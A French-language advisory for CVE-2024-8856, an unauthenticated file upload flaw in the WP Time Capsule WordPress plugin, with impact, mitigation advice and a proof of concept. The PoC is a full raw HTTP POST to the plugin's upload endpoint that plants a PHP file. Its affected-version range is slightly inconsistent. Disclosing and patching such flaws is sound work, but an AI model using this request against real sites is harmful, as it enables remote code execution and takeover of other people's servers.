CVE-2024-8856 : Vulnérabilité de téléchargement arbitraire de fichiers du plugin WordPress WP Time Capsule

Aperçu

CVE-2024-8856 est une vulnérabilité de sécurité découverte dans le plugin WP Time Capsule pour WordPress qui permet à des utilisateurs non authentifiés de télécharger des fichiers arbitraires sur le serveur. Cela peut conduire à une exécution de code à distance si les fichiers téléchargés sont exécutés par le serveur. La vulnérabilité découle d'une validation insuffisante des fichiers et peut être exploitée en envoyant des requêtes spécialement conçues au point de terminaison vulnérable.

Versions affectées

• Versions du plugin WP Time Capsule antérieures à 1.22.21 (corrigée dans la version 1.22.22).

Impact

Cette vulnérabilité permet à des utilisateurs non authentifiés de :

• Télécharger des scripts PHP malveillants sur le serveur.
• Exécuter du code arbitraire sur le serveur, conduisant à une compromission totale du système.
• Potentiellement exploiter cet accès pour compromettre davantage l'application web et l'infrastructure sous-jacente.

Preuve de concept (PoC)

Ce qui suit est une preuve de concept démontrant comment exploiter la vulnérabilité CVE-2024-8856 en envoyant une requête POST au point de terminaison vulnérable.

Exemple de requête

POST /wp-content/plugins/wp-time-capsule/wp-tcapsule-bridge/upload/php/index.php HTTP/1.1
Host: wordpress.local
Content-Length: 199
X-Requested-With: XMLHttpRequest
Accept-Language: en-US,en;q=0.9
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryHvQu3NOpI44bLkPN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Origin: http://wordpress.local
Content-Disposition: 18.php
Accept-Encoding: gzip, deflate, br
Connection: close

------WebKitFormBoundaryHvQu3NOpI44bLkPN
Content-Disposition: form-data; name="files"; filename="php"
Content-Type: application/sql

<?php phpinfo();
------WebKitFormBoundaryHvQu3NOpI44bLkPN--

Explication du PoC

• Requête POST : La requête est un POST vers le chemin où la fonctionnalité de téléchargement vulnérable est exposée.
• Content-Type : La requête définit le Content-Type sur multipart/form-data, ce qui est requis pour les téléchargements de fichiers.
• Téléchargement de fichier : Le fichier est spécifié dans le corps avec un en-tête Content-Disposition. Dans l'exemple, il tente de télécharger un fichier PHP contenant <?php phpinfo();, qui affichera les détails de configuration PHP s'il est exécuté.
• Point de terminaison vulnérable : Le point de terminaison /wp-content/plugins/wp-time-capsule/wp-tcapsule-bridge/upload/php/index.php est le point d'exploitation.

Atténuation

Pour atténuer cette vulnérabilité :

• Mettre à jour le plugin : Assurez-vous toujours que le plugin WP Time Capsule est mis à jour vers la dernière version fournie par le développeur.
• Restrictions de téléchargement de fichiers : Mettez en œuvre des restrictions de téléchargement de fichiers sur le serveur pour n'autoriser que certains types de fichiers (par exemple, les images) et interdire l'exécution des fichiers téléchargés.
• Pare-feu d'application web (WAF) : Utilisez un pare-feu d'application web (WAF) pour détecter et bloquer les requêtes malveillantes avant qu'elles n'atteignent votre serveur.

Références

CVE-2024-8856 - Base de données nationale des vulnérabilités

Conclusion

CVE-2024-8856 est une vulnérabilité grave qui requiert une attention immédiate de la part des administrateurs de sites WordPress utilisant le plugin WP Time Capsule. Des précautions appropriées doivent être prises pour sécuriser l'application contre une exploitation potentielle. Restez toujours à jour avec les pratiques de sécurité et les mises à jour des plugins.